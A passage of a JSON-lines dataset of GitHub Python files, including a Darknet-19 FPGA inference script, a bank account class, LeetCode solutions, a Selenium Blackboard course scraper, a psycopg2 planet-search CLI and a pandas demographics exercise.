x19=self.conv19(x18)\r\n x20=self.conv20(x19)\r\n x21=self.conv21(x20)\r\n x22=self.conv22(x21)\r\n x23=self.conv23(x22)\r\n x24=self.conv24(x23)\r\n x25=self.conv25(x24)\r\n x_detect=self.detect(x25)\r\n\r\n return x0,x1,x2,x3,x25,x_detect\r\n\r\ndef Convert_Map(re_map):\r\n img_w = re_map.shape[-1]\r\n img_h = re_map.shape[-2]\r\n img_ch = re_map.shape[-3]\r\n PARAL_IN = 8\r\n re_map=re_map.reshape(img_ch,img_h,img_w)\r\n\r\n num_pixel = img_w * img_h * img_ch\r\n sh = img_ch * img_w\r\n sc = img_w * PARAL_IN\r\n sw = PARAL_IN\r\n sp = 1\r\n\r\n data_img = np.zeros(num_pixel, dtype=np.float32)\r\n\r\n for row in range(img_h):\r\n for k in range(int(img_ch / PARAL_IN)):\r\n for col in range(img_w):\r\n for p in range(PARAL_IN):\r\n data_img[row * sh + k * sc + col * sw + p * sp] = \\\r\n re_map[k * PARAL_IN + p, row, col]\r\n\r\n\r\n return data_img\r\n\r\ndef CreatImg(chs=8,size=416):\r\n img_3=torch.rand(3,size,size)-0.5\r\n img_0=torch.zeros(chs-3,size,size)\r\n newimg=torch.cat([img_3,img_0],dim=0)\r\n return newimg\r\n\r\n\r\ndef SaveTensor2Fix(out,int,k,output_path):\r\n out_1d=Convert_Map(out.detach().numpy())\r\n out_other=Round2Int(out_1d,int,k).astype(np.int32)\r\n with open(str(output_path), mode='wb') as f:#save as fix\r\n print('Store ' + str(output_path))\r\n for npiter in np.nditer(out_other):\r\n f.write(npiter)\r\n f.close()\r\n\r\n\r\ndef merage_bin(bin_file_merage,bin_file_1,bin_file_2):\r\n file_merage = open(bin_file_merage, 'wb')\r\n file_1 = open(bin_file_1, 'rb')\r\n data =file_1 .read()\r\n file_merage.write(data)\r\n file_2 = open(bin_file_2, 'rb')\r\n data = file_2.read()\r\n file_merage.write(data)\r\n file_1.close()\r\n file_2.close()\r\n file_merage.close()\r\n\r\nif __name__ == '__main__':\r\n parser = argparse.ArgumentParser(\r\n description='CNN inference for fpga.'\r\n 'Including merge bn layer. Store output at the end')\r\n\r\n # img\r\n parser.add_argument(\r\n '--input_path', default='data/images/416_img_8chs_new.pth',\r\n help='Image file name.')\r\n parser.add_argument(\r\n '--input_path_fix', default='input_darknet_fix_416.bin',\r\n help='Save image as fix.')\r\n parser.add_argument(\r\n '--input_path_float', default='input_darknet_float_416.bin',\r\n help='Save image as float.')\r\n parser.add_argument(\r\n '--img_size', default=416, type=int,\r\n help='Save image size.')\r\n parser.add_argument(\r\n '--img_channels', default=8, type=int,\r\n help='Image channels.')\r\n\r\n parser.add_argument(\r\n '--weights_bias', default='darknet_19_weights_order_new.pt',\r\n help='weights and bias for checkpoints . Default is .pth')\r\n parser.add_argument(\r\n '--weight_store_path', default='darknet_19_weight.bin',\r\n help='weights and bias for save . darknet_19_weight.bin')\r\n parser.add_argument(\r\n '--bias_store_path', default='darknet_19_bias.bin',\r\n help='weights and bias for save . darknet_19_bias.bin')\r\n parser.add_argument(\r\n '--final_weights_store_path', default='final_darknet_19_weights.bin',\r\n help='weights and bias for save . darknet_19_bias.bin')\r\n\r\n parser.add_argument(\r\n '--out_path_x0_fix', default='output/output_darknet_x0_fix_416.bin',\r\n help='Output file name. Default is output_darknet_fix.bin')\r\n parser.add_argument(\r\n '--out_path_x0_float', default='output/output_darknet_x0_float_416.bin',\r\n help='Output file name. Default is output_darknet_float.bin')\r\n\r\n parser.add_argument(\r\n '--out_path_x25_fix', default='output/output_darknet_x25_fix_416.bin',\r\n help='Output file name. Default is output_darknet_fix.bin')\r\n parser.add_argument(\r\n '--out_path_x25_float', default='output/output_darknet_x25_float_416.bin',\r\n help='Output file name. Default is output_darknet_float.bin')\r\n\r\n parser.add_argument(\r\n '--out_path_detect_fix', default='output/output_darknet_detect_fix_416.bin',\r\n help='Output file name. Default is output_darknet_fix.bin')\r\n parser.add_argument(\r\n '--out_path_detect_float', default='output/output_darknet_detect_float_416.bin',\r\n help='Output file name. Default is output_darknet_float.bin')\r\n args = parser.parse_args()\r\n\r\n\r\n\r\n input_path=args.input_path\r\n input_path_fix=Path('.')/'fig_out'/args.input_path_fix\r\n input_path_float=Path('.')/'fig_out'/args.input_path_float\r\n\r\n out_path_x0_fix=args.out_path_x0_fix\r\n out_path_x0_float=args.out_path_x0_float\r\n\r\n out_path_x25_fix=args.out_path_x25_fix\r\n out_path_x25_float=args.out_path_x25_float\r\n out_path_detect_fix=args.out_path_detect_fix\r\n out_path_detect_float=args.out_path_detect_float\r\n #Create a Model\r\n model=Darknet_19_Model()\r\n\r\n #img input and save\r\n img_channels = args.img_channels\r\n img_size =args.img_size\r\n # img=CreatImg(img_channels,img_size)\r\n # torch.save(img,'img_tensor')\r\n img=torch.load(input_path)\r\n img_fix=Roundtofix(img,7,16)\r\n SaveTensor2Fix(img,3,8,input_path_fix)#3,8\r\n SaveFeatureMap(input_path_float,img)\r\n\r\n #load inference model\r\n model_path = Path('.')/'model_weights'/args.weights_bias\r\n sta=torch.load(model_path)\r\n model.load_state_dict(sta)\r\n weight_path= Path('.')/'model_weights'/args.weight_store_path\r\n with open(str(weight_path), mode='wb') as f:\r\n f.truncate()\r\n bias_path= Path('.')/'model_weights'/args.bias_store_path\r\n with open(str(bias_path), mode='wb') as f:\r\n f.truncate()\r\n final_weights_path= Path('.')/'model_weights'/args.final_weights_store_path\r\n with open(str(final_weights_path), mode='wb') as f:\r\n f.truncate()\r\n\r\n out0,out1,out2,out3,out25,out_detect=model(img_fix)\r\n # StoreWeightBinConvert(model.state_dict(),weights_path)\r\n # torch.save(out0,'darknet_x1.pt')\r\n # torch.save(out1,'darknet_x2.pt')\r\n # torch.save(out2,'darknet_x3.pt')\r\n # torch.save(out3,'darknet_x4.pt')\r\n torch.save(out25, 'darknet_x25.pt')\r\n Save_fix(out0,out_path_x0_fix)#3,8\r\n SaveFeatureMap(out_path_x0_float,out0)\r\n\r\n Save_fix(out25,out_path_x25_fix)#3,8\r\n SaveFeatureMap(out_path_x25_float,out25)\r\n\r\n Save_fix(out_detect,out_path_detect_fix)#3,8\r\n SaveFeatureMap(out_path_detect_float,out_detect)\r\n\r\n merage_bin(final_weights_path,bias_path,weight_path)","repo_name":"gxt-kt/JiangBoFeng-tf2torch","sub_path":"darknet19/darknet_19_model.py","file_name":"darknet_19_model.py","file_ext":"py","file_size_in_byte":14477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"28408041501","text":"from functions import *\nfrom savable import Savable\nfrom transaction import Transaction\nfrom colors import Colors\nfrom datetime import *\n\nFILE = \"accounts.txt\"\n\n\nclass Account(Savable):\n def __init__(\n self,\n id: str,\n holder: str,\n name: str,\n date_opened = datetime.today(),\n balance: float = 0\n ):\n self.id = id\n self.holder = holder\n self.balance = balance\n self.date_opened = date_opened\n self.name = name\n\n def save(self) -> None:\n super().save(FILE)\n \n def update_balance(self, amount: float) -> None:\n self.balance += amount\n self.balance = round(self.balance, 2)\n Account.delete_accont_by_id(self.id)\n self.save()\n \n def get_transactions(self, period = datetime.today() - timedelta(days=0)) -> list[Transaction]:\n transactions = []\n for transaction in Transaction.get_transactions():\n if is_in_period(transaction.date, period):\n continue\n \n is_mine = False\n if self.is_transaction_recipient(transaction):\n transaction.recipient = Colors.BLUE + self.name + Colors.END\n is_mine = True\n elif self.is_transaction_sender(transaction):\n transaction.sender = Colors.BLUE + self.name + Colors.END\n is_mine = True\n if is_mine:\n transactions.append(transaction)\n return transactions\n\n @staticmethod\n def delete_accont_by_id(id: str) -> None:\n with open(FILE, \"r\", encoding=\"utf-8\") as f:\n lines = f.readlines()\n with open(FILE, \"w\", encoding=\"utf-8\") as f:\n for line in lines:\n account_id = str(line.split(':')[0])\n if account_id != id:\n f.write(line)\n\n @staticmethod\n def get_accounts() -> list:\n with open(FILE, 'r', encoding=\"utf-8\") as file:\n accounts = list()\n for line in file.readlines():\n id, holder, balance, date_opened, name = line.strip('\\n').split(':')\n date_opened = datetime.strptime(date_opened.replace('-', ''), \"%Y%m%d\").strftime(\"%Y-%m-%d\")\n accounts.append(Account(id, holder, name, date_opened, float(balance)))\n return accounts\n \n @staticmethod\n def update_accounts_balance() -> None:\n accounts = Account.get_accounts()\n last_transaction = Transaction.get_transactions()[-1]\n for account in accounts:\n if account.is_transaction_recipient(last_transaction):\n account.update_balance(last_transaction.amount)\n\n def count_income(self, period: datetime) -> float:\n return sum(-transaction.amount if self.is_transaction_recipient(transaction) else +transaction.amount for transaction in self.get_transactions() if is_in_period(transaction.date, period))\n\n def is_transaction_sender(self, transaction: Transaction) -> bool:\n return transaction.sender == self.id or transaction.sender == Colors.BLUE + self.name + Colors.END\n \n def is_transaction_recipient(self, transaction: Transaction) -> bool:\n return transaction.recipient == self.id or transaction.sender == Colors.BLUE + self.name + Colors.END\n","repo_name":"21DP3FRegz/Bank-information-system","sub_path":"account.py","file_name":"account.py","file_ext":"py","file_size_in_byte":3323,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"31441877476","text":"# def Age():\n# a = int(input(\"Enter your age or DOB: \"))\n# if a < 0:\n# print(\"you not born at .\")\n# elif 100 < a < 125:\n# print(\"you are lucky person alive..\")\n# elif a == 100:\n# print(\"You already complete 100 congratulation,you are lucky person alive..\")\n# elif 1 <= a < 100:\n# print(f\"You complete 100 year after {100 - a} year \")\n# else:\n# print(\"invalid input!!!\")\n\n\n# def DOB():\n# a = int(input(\"Enter your age or DOB: \"))\n# if a == 2022:\n# print(\"you not born at .\")\n# elif 1000 < a < 2022:\n# print(f\"Your current age is {2022 - a}\")\n# else:\n# print(\"invalid input!!!\")\n\n\n# while True:\n# choice = int(input(\"1.For age\\n2.For DOB\\n3.For exit\\n: \"))\n\n# if choice == 1:\n# Age()\n# elif choice == 2:\n# DOB()\n# elif choice == 3:\n# print(exit())\n# exit()\n# else:\n# print(\"invalid input!!\")\n\n\n# ---------------------------cWh_______________________________\n\nyearage = int(input(\"Enter your age or DOB: \"))\nisage = False\nisyear = False\n\nif len(str(yearage)) == 4:\n isyear = True\nelse:\n isage = True\n\nif yearage < 1900 and isyear:\n print(\"You seem oldest person alive\")\nelif yearage > 2022:\n print(\"You not born yet\")\n\nif isage:\n yearage = 2022 - yearage\n\nprint(f\"You will be 100 year old in {yearage + 100} \")\ninterestedYear = int(input(\"Enter the year you want to know your age in: \"))\nprint(f\"You will be {interestedYear - yearage} year old in {interestedYear}\")\n","repo_name":"amanuchitkar/PYTHON","sub_path":"PracticeProblem/Problem1(Easy).py","file_name":"Problem1(Easy).py","file_ext":"py","file_size_in_byte":1542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"7428433083","text":"# LeetCode import\nfrom typing import List\n\nclass NumArray:\n\n def __init__(self, nums: List[int]):\n self.prefix_sums = []\n curr_sum = 0\n for num in nums:\n curr_sum += num\n self.prefix_sums.append(curr_sum)\n\n def sumRange(self, left: int, right: int) -> int:\n left_subtract = self.prefix_sums[left-1] if left > 0 else 0\n return self.prefix_sums[right] - left_subtract\n\n\n# Your NumArray object will be instantiated and called as such:\n# obj = NumArray(nums)\n# param_1 = obj.sumRange(left,right)","repo_name":"PyroGenesis/Comprehensive-Coding-Solutions","sub_path":"LeetCode/303-Range-Sum-Query-Immutable.py","file_name":"303-Range-Sum-Query-Immutable.py","file_ext":"py","file_size_in_byte":554,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"32982270827","text":"from dataclasses import dataclass\n\n@dataclass\nclass Pack:\n from scipp import Variable\n from ..detectors import He3Tube\n from ..mcstasscript import ScriptComponent, ScriptInstrument\n\n tubes: tuple[He3Tube, ...]\n resistances: Variable\n\n @staticmethod\n def from_calibration(position: Variable, length: Variable, **params):\n from numpy import tile\n from scipp import vector, scalar, Variable, concat, ones\n from scipp.spatial import rotations\n from ..spatial import is_scipp_vector\n from ..utilities import is_type, is_scalar\n from ..detectors import He3Tube\n\n is_scipp_vector(position, 'position')\n if position.ndim != 1 or 'tube' not in position.dims:\n raise RuntimeError(\"Expected a 1-D list of 'tube' positions\")\n\n ori = params.get('orient', None)\n ori = rotations(values=tile([0, 0, 0, 1], (position.sizes['tube'], 1)), dims=['tube']) if ori is None else ori\n\n pressure = params.get('pressure', scalar(1., unit='atm'))\n radius = params.get('radius', scalar(25.4/2, unit='mm'))\n elements = params.get('elements', 100)\n resistivity = params.get('resistivity', scalar(140., unit='Ohm/in').to(unit='Ohm/m'))\n\n map(lambda x: is_type(*x), ((pressure, Variable, 'pressure'), (length, Variable, 'length'),\n (radius, Variable, 'radius'), (elements, int, elements),\n (resistivity, Variable, 'resistivity')))\n pack = elements, radius, pressure\n\n if is_scalar(resistivity):\n resistivity = resistivity * ones(shape=(position.sizes['tube'], ), dims=['tube'])\n\n # Make the oriented tube axis vector(s)\n axis = ori * (length.to(unit=position.unit) * vector([0, 0, 1.])) # may be a 0-D or 1-D tube vector array\n tube_at = position - 0.5 * axis\n tube_to = position + 0.5 * axis\n tubes = tuple(He3Tube(at, to, rho, *pack) for at, to, rho in zip(tube_at, tube_to, resistivity))\n\n # Define the contact resistance for the wires\n resistance = params.get('resistance', scalar(2, unit='Ohm'))\n if is_scalar(resistance):\n resistance = resistance * ones(shape=(position.sizes['tube'], 2), dims=['tube', 'end'])\n # allow overriding specific resistances ... somehow\n return Pack(tubes, resistance)\n\n def to_cadquery(self, unit=None):\n from ..spatial import combine_assembly\n t = {f'tube-{idx:2d}': tube.to_cadquery(unit=unit) for idx, tube in enumerate(self.tubes)}\n return combine_assembly(**t)\n\n def to_mcstasscript(self, inst: ScriptInstrument, relative: ScriptComponent, first_wire_index: int,\n group_name: str, name: str, extend: str, parameters: dict):\n from numpy import hstack\n from scipp import vector\n from scipp.spatial import rotations_from_rotvecs as rfr\n from ..mcstasscript import declare_array\n\n lab_to_mcstas = rfr(vector([0, 0, -90], unit='degree')) * rfr(vector([0, -90, 0], unit='degree'))\n\n # Collect parameter vectors and write into McStas declare section\n declare_array(inst, 'double', f'{name}_positions', 'tube centers of mass',\n hstack([(lab_to_mcstas * t.center()).to(unit='m').value for t in self.tubes]))\n declare_array(inst, 'double', f'{name}_ends', 'tube center of mass to end vectors',\n hstack([(lab_to_mcstas * t.end()).to(unit='m').value for t in self.tubes]))\n declare_array(inst, 'double', f'{name}_radii', 'tube radii',\n hstack([t.radius.to(unit='m').value for t in self.tubes]))\n declare_array(inst, 'double', f'{name}_rhos', 'per-tube wire resistivity',\n hstack([t.resistivity.to(unit='Ohm/m').value for t in self.tubes]))\n declare_array(inst, 'double', f'{name}_preRs', 'tube pre-wire contact resistances',\n self.resistances['end', 0].to(unit='Ohm').values)\n declare_array(inst, 'double', f'{name}_postRs', 'tube post-wire contact resistances',\n self.resistances['end', 1].to(unit='Ohm').values)\n\n # Add the detector component to the instrument\n pack = inst.component(\"Detector_tubes\", name=name, RELATIVE=relative, EXTEND=extend, GROUP=group_name)\n pack.set_parameters(N=len(self.tubes), first_wire=first_wire_index, pack_filename=f'\"{name}_pack.dat\"')\n pack.set_parameters({k: f'{name}_{k}' for k in ('positions', 'ends', 'radii', 'rhos', 'preRs', 'postRs')})\n pack.set_parameters(parameters)\n","repo_name":"g5t/instrument-components","sub_path":"src/nicess/cspec/pack.py","file_name":"pack.py","file_ext":"py","file_size_in_byte":4617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"35007800475","text":"from rest_framework import serializers\nfrom . import models\n\n\nclass TreeSerializer(serializers.ModelSerializer):\n position = serializers.SlugRelatedField(slug_field='name', read_only=True)\n\n class Meta:\n model = models.Worker\n fields = ('id', 'first_name', 'last_name',\n 'patronymic', 'position', 'has_subordinates')\n read_only_fields = ('has_subordinates', 'id')\n\n\nclass SlugRelatedGetOrCreateField(serializers.SlugRelatedField):\n def to_internal_value(self, data):\n try:\n return self.get_queryset().get_or_create(**{self.slug_field: data})[0]\n except (TypeError, ValueError):\n self.fail('invalid')\n\n\nclass ListSerializer(serializers.ModelSerializer):\n position = SlugRelatedGetOrCreateField(\n slug_field='name', queryset=models.Position.objects.all())\n\n class Meta:\n model = models.Worker\n fields = '__all__'\n read_only_fields = ('id',)\n","repo_name":"jack-a-dandy/django-workers-db","sub_path":"app/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"7663218801","text":"from task_helper import TaskHelper\nimport pandas as pd\nimport time\n\n\ndef main(params, testing=True):\n output_df = pd.DataFrame.from_dict(\n {\n 'response': [],\n 'duration': [],\n 'IRT': [],\n 'cumulative_time': [],\n 'TO_interval': [],\n 'ITI': [],\n 'rewarded(0/1)': [],\n 'schedule': []\n }\n )\n\n # Header Line\n task_helper = TaskHelper(testing=testing)\n task_helper.output_ln('autoshape', output_df.keys())\n\n initial_trials = True\n trial_num = 1\n task_helper.start_light(on=True, testing=testing)\n\n start = time.time()\n while True:\n if initial_trials:\n task_helper.stim_lights(left=True, right=True, testing=testing)\n if task_helper.levers_output(left=True, right=True, testing=testing):\n try:\n duration, lever = task_helper.levers_input(timeout=params['time_out'], testing=testing)\n task_helper.dispense_pellet(num=params['reward_num'], testing=testing)\n except TimeoutError:\n duration = None\n print('Lever Timeout')\n\n output_row = {\n 'response': trial_num,\n 'duration': duration,\n 'IRT': None,\n 'cumulative_time': time.time() - start,\n 'TO_interval': params['time_out'],\n 'ITI': params['ITI'],\n 'rewarded(0/1)': params['reward_num'],\n 'schedule': 0\n }\n output_df = output_df.append(output_row, ignore_index=True)\n task_helper.output_ln('autoshape', output_df.loc[trial_num - 1])\n if task_helper.levers_output(left=False, right=False, testing=testing):\n task_helper.stim_lights(left=False, right=False, testing=testing)\n time.sleep(params['ITI'])\n trial_num += 1\n\n\nif __name__ == '__main__':\n main(params=TaskHelper.read_params()[0])\n","repo_name":"mdberkey/lever-tasks","sub_path":"src/autoshape/autoshape.py","file_name":"autoshape.py","file_ext":"py","file_size_in_byte":2074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"26725551505","text":"from selenium.common.exceptions import WebDriverException\r\nfrom selenium.webdriver.support import expected_conditions as EC\r\nfrom selenium.webdriver.support.ui import WebDriverWait\r\nfrom selenium import webdriver\r\nimport os\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.common.keys import Keys\r\nimport time\r\nfrom selenium.webdriver.common.action_chains import ActionChains\r\nfrom selenium import webdriver\r\nfrom webdriver_manager.chrome import ChromeDriverManager\r\nimport re\r\nimport pandas as pd\r\n\r\ndef Click_Rami(driver, Content, time):\r\n # wait for email field and enter email\r\n WebDriverWait(driver, time).until(\r\n EC.element_to_be_clickable(Content)).click()\r\n\r\n# Sign in to Microsoft MS Streams\r\n# requires you to use authentication app\r\ndef Open_BB_page_of_unit(UserEmail, Password, path_to_unit):\r\n url1 = \"https://www.ole.bris.ac.uk/webapps/portal/execute/tabs/tabAction?tab_tab_group_id=_17_1\"\r\n driver = webdriver.Chrome(ChromeDriverManager().install())\r\n driver.get(url1)\r\n # Make sure you are back on the top of the page\r\n driver.maximize_window()\r\n\r\n # Click log-in button\r\n log_in_BB = (By.ID, 'loginLink')\r\n Click_Rami(driver, log_in_BB, 10)\r\n\r\n EMAILFIELD = (By.ID, \"i0116\")\r\n PASSWORDFIELD = (By.ID, \"i0118\")\r\n NEXTBUTTON = (By.ID, \"idSIButton9\")\r\n Yes = (By.ID, \"idSIButton9\")\r\n # wait for email field and enter email\r\n WebDriverWait(driver, 10).until(\r\n EC.element_to_be_clickable(EMAILFIELD)).send_keys(UserEmail)\r\n\r\n # Click Next\r\n Click_Rami(driver, NEXTBUTTON, 10)\r\n\r\n # wait for password field and enter password\r\n WebDriverWait(driver, 10).until(\r\n EC.element_to_be_clickable(PASSWORDFIELD)).send_keys(Password)\r\n\r\n # Click Login - same id?\r\n Click_Rami(driver, NEXTBUTTON, 10)\r\n\r\n # Click Login - same id?\r\n Click_Rami(driver, Yes, 30)\r\n\r\n link_of_unit = (By.XPATH, path_to_unit)\r\n\r\n # Click Login - same id?\r\n Click_Rami(driver, link_of_unit, 10)\r\n\r\n return driver\r\n\r\ndef get_course_content(driver):\r\n # Click on course content\r\n Units_material=(By.LINK_TEXT,\"COMSM0091_2022_TB-2\")\r\n Content_BUTTON = (By.ID, \"controlpanel.course.files_groupExpanderLink\")\r\n Click_Rami(driver, Content_BUTTON, 10)\r\n Click_Rami(driver, Units_material, 10)\r\n \r\n\r\ndef Extract_Speach(driver):\r\n # Search by text\r\n Units_material=(By.LINK_TEXT,\"txt\")\r\n Click_Rami(driver, Units_material, 10)\r\n \r\n # Get number of rows in the table\r\n path1=\"/html/body/div[5]/div[3]/div/div[1]/div/div/div[4]/form/div[3]/div[2]/div/table/tbody\"\r\n element1=driver.find_element(By.XPATH,path1).find_elements(By.CSS_SELECTOR, 'tr')\r\n number_of_rows = len(element1)\r\n \r\n # Create a Dataframe with name of videos and hyperlinks\r\n\r\n # Extract information\r\n name_of_lectures=[]\r\n html_of_speach=[]\r\n\r\n for j in range(1,number_of_rows+1):\r\n path=f\"{path1}/tr[{j}]/th\"\r\n ele=driver.find_element(By.XPATH,path)\r\n string=ele.get_attribute(\"innerText\")\r\n name_of_lectures.append(re.search('(.+?).txt', string).group(1))\r\n\r\n # Get link\r\n ele1 = ele.find_element(By.XPATH, \".//descendant::a\")\r\n html_of_speach.append(ele1.get_attribute('href'))\r\n\r\n # Create a dataframe containing all these information\r\n d = {'Title of Video':name_of_lectures,'Speach of Video':html_of_speach}\r\n df1 = pd.DataFrame(d) \r\n df1.set_index('Title of Video', inplace=True)\r\n driver.back()\r\n \r\n return df1\r\n\r\ndef Extract_Week_lectures(driver):\r\n # Extract information\r\n name_of_lectures=[]\r\n html_of_lectures=[]\r\n\r\n # Search by text\r\n Units_material=(By.LINK_TEXT,\"Work on Progress BB 2023\")\r\n Click_Rami(driver, Units_material, 10)\r\n\r\n p1=\"/html/body/div[5]/div[3]/div/div[1]/div/div/div[4]/form/div[3]/div[2]/div/table/tbody\"\r\n # element1=driver.find_element(By.XPATH,p1)\r\n \r\n element1 = WebDriverWait(driver, 20).until(EC.visibility_of_element_located((By.XPATH,p1))).find_elements(By.CSS_SELECTOR, 'tr')\r\n number_of_folders = len(element1)\r\n\r\n for i in range(1,number_of_folders+1):\r\n # click on week\r\n Units_material=(By.LINK_TEXT,f\"Week{i}\")\r\n Click_Rami(driver, Units_material, 10)\r\n \r\n # click on lectures\r\n Units_material=(By.LINK_TEXT,\"Lectures\")\r\n Click_Rami(driver, Units_material, 10)\r\n \r\n # How many lectures\r\n p2='/html/body/div[6]/div[3]/div/div[1]/div/div/div[4]/form/div[3]/div[2]/div/table/tbody'\r\n element2=WebDriverWait(driver, 20).until(EC.visibility_of_element_located((By.XPATH,p2))).find_elements(By.CSS_SELECTOR, 'tr')\r\n # driver.find_element(By.XPATH,p2).find_elements(By.CSS_SELECTOR, 'tr')\r\n number_of_folders2 = len(element2)\r\n \r\n for k in range(1, number_of_folders2+1):\r\n path=f\"{p2}/tr[{k}]/th\"\r\n ele=driver.find_element(By.XPATH,path)\r\n string=ele.get_attribute(\"innerText\")\r\n name_of_lectures.append(re.search('(.+?).pdf', string).group(1))\r\n\r\n # Get link\r\n ele1 = ele.find_element(By.XPATH, \".//descendant::a\")\r\n html_of_lectures.append(ele1.get_attribute('href'))\r\n \r\n driver.back()\r\n driver.back()\r\n \r\n d = {'Title of Lecture':name_of_lectures,'HTML of Lecture':html_of_lectures}\r\n df1 = pd.DataFrame(d) \r\n df1.set_index('Title of Lecture', inplace=True)\r\n \r\n return df1","repo_name":"rsc05/RandomHelpfulCodes","sub_path":"Blackboard_Functions.py","file_name":"Blackboard_Functions.py","file_ext":"py","file_size_in_byte":5508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"33495929019","text":"import psycopg2\r\n\r\nuser = ''\r\npwd = ''\r\n\r\nconnection = f\"dbname='{user}'user='{user}_priv'port='5432'host='dbpg-ifi-kurs03.uio.no'password='{pwd}'\"\r\n\r\ndef huffsa():\r\n conn = psycopg2.connect(connection)\r\n \r\n ch = 0\r\n while (ch != 3):\r\n print(\"--[ HUFFSA ]--\")\r\n print(\"Vennligst velg et alternativ:\\n 1. Søk etter planet\\n 2. Legg inn forsøksresultat\\n 3. Avslutt\")\r\n ch = int(input(\"Valg: \"))\r\n\r\n if (ch == 1):\r\n planet_sok(conn)\r\n elif (ch == 2):\r\n legg_inn_resultat(conn)\r\n \r\ndef planet_sok(conn):\r\n molekyl1 = input(\"Molekyl 1: \")\r\n molekyl2 = input(\"Molekyl 2: \")\r\n cur = conn.cursor()\r\n\r\n if molekyl2 == \"\":\r\n cur.execute(\"SELECT p.navn, p.masse, s.masse, s.avstand, p.liv FROM stjerne s \\\r\n\t JOIN planet p ON (s.navn = p.stjerne) \\\r\n\t JOIN materie AS m ON (m.planet = p.navn) \\\r\n\t WHERE molekyl = %s\", (molekyl1,))\r\n else:\r\n cur.execute(\"SELECT p.navn, p.masse, s.masse, s.avstand, p.liv \\\r\n FROM stjerne AS s JOIN planet AS p ON (s.navn = p.stjerne) \\\r\n\t JOIN materie AS m ON (m.planet = p.navn) \\\r\n\t WHERE molekyl in (%s, %s) \\\r\n\t GROUP BY p.navn, s.masse, s.avstand \\\r\n\t HAVING count(*) > 1;\", (molekyl1, molekyl2))\r\n \r\n row = cur.fetchone()\r\n while row is not None:\r\n print(f\"--Planet--\\n\" \\\r\n f\"Navn: {row[0]}\\n\" \\\r\n f\"Planet-masse: {row[1]}\\n\" \\\r\n f\"Stjerne-masse: {row[2]}\\n\" \\\r\n f\"Stjerne-distanse: {row[3]}\\n\" \\\r\n f\"Bekreftet liv: {'Ja' if row[4] == 't' else 'nei'}\\n\")\r\n row = cur.fetchone()\r\n \r\n conn.commit()\r\n\r\n\r\ndef legg_inn_resultat(conn):\r\n inpNavn = input(\"Planet: \")\r\n inpSkummel = \"t\" if input(\"Skummel: \") == \"j\" else \"f\"\r\n inpIntelligent = \"t\" if input(\"Intelligent: \") == \"j\" else \"f\"\r\n inpBeskrivelse = input(\"Beskrivelse: \")\r\n\r\n cur = conn.cursor()\r\n cur.execute(\"UPDATE planet \\\r\n SET skummel = %s, \\\r\n intelligent = %s, \\\r\n beskrivelse = %s \\\r\n WHERE navn = %s\", (inpSkummel, inpIntelligent, inpBeskrivelse, inpNavn))\r\n conn.commit()\r\n \r\n print(\"Resultat lagt inn\\n\")\r\n\r\nif __name__ == \"__main__\":\r\n huffsa()\r\n","repo_name":"gremble0/university","sub_path":"IN2090/Oblig5/huffsa.py","file_name":"huffsa.py","file_ext":"py","file_size_in_byte":2359,"program_lang":"python","lang":"no","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"1325377142","text":"from typing import List\n\ndef specialArray(nums: List[int]) -> int:\n '''\n You are given an array nums of non-negative integers. \n nums is considered special if there exists a number x \n such that there are exactly x numbers in nums that are greater than or equal to x.\n E.g. \n Input: nums = [3,5]\n Output: 2\n '''\n nums.sort(reverse = True)\n print(nums)\n for i in range(len(nums)+1): ## E.g. 0, 1, 2\n for j in range(len(nums)):\n if i <= nums[j]: ## greater than or equal to x\n if len(nums) == i and j == len(nums)-1: ## i equal to length\n return i\n elif j >= i: ## too much\n break\n else:\n if j == i: ## exact i\n return i\n break\n return -1\n\n\nans = specialArray(nums = [3,6,7,7,0])\nprint(ans)","repo_name":"wwweiwei/LeetCode","sub_path":"1608. Special Array With X Elements Greater Than or Equal X.py","file_name":"1608. Special Array With X Elements Greater Than or Equal X.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"8513605812","text":"import pandas as pd\n\n\ndef calculate_demographic_data(print_data=True):\n # Read data from file\n df = pd.read_csv(\"adult.data.csv\")\n\n # How many of each race are represented in this dataset? This should be a Pandas series with race names as the index labels.\n race_count = df.groupby(\"race\").race.count().sort_values(ascending=False)\n\n # What is the average age of men?\n average_age_men = round(df.groupby(\"sex\").age.mean().loc[\"Male\"], 1)\n\n # What is the percentage of people who have a Bachelor's degree?\n percentage_bachelors = round(df.groupby(\"education\").education.count().loc[\"Bachelors\"] / len(df) * 100, 1)\n\n # What percentage of people with advanced education (`Bachelors`, `Masters`, or `Doctorate`) make more than 50K?\n mask_hi_ed = df.education.isin([\"Bachelors\", \"Masters\", \"Doctorate\"])\n hi_ed = df.loc[mask_hi_ed].groupby([\"salary\", \"education\"]).salary.count()\n hi_ed_all = hi_ed.sum()\n hi_ed_m_50 = hi_ed.loc[\">50K\"].sum()\n higher_education_rich = round(hi_ed_m_50 / hi_ed_all * 100, 1)\n\n # What percentage of people without advanced education make more than 50K?\n lo_ed = df.loc[~mask_hi_ed].groupby([\"salary\", \"education\"]).salary.count()\n lo_ed_all = lo_ed.sum()\n lo_ed_m_50 = lo_ed.loc[\">50K\"].sum()\n lower_education_rich = round(lo_ed_m_50 / lo_ed_all * 100, 1)\n\n # What is the minimum number of hours a person works per week (hours-per-week feature)?\n min_work_hours = df.loc[:, \"hours-per-week\"].min()\n\n # What percentage of the people who work the minimum number of hours per week have a salary of >50K?\n mask_min_hours = df[\"hours-per-week\"] == min_work_hours\n min_hours_sal = df.loc[mask_min_hours].groupby(\"salary\").salary.count()\n 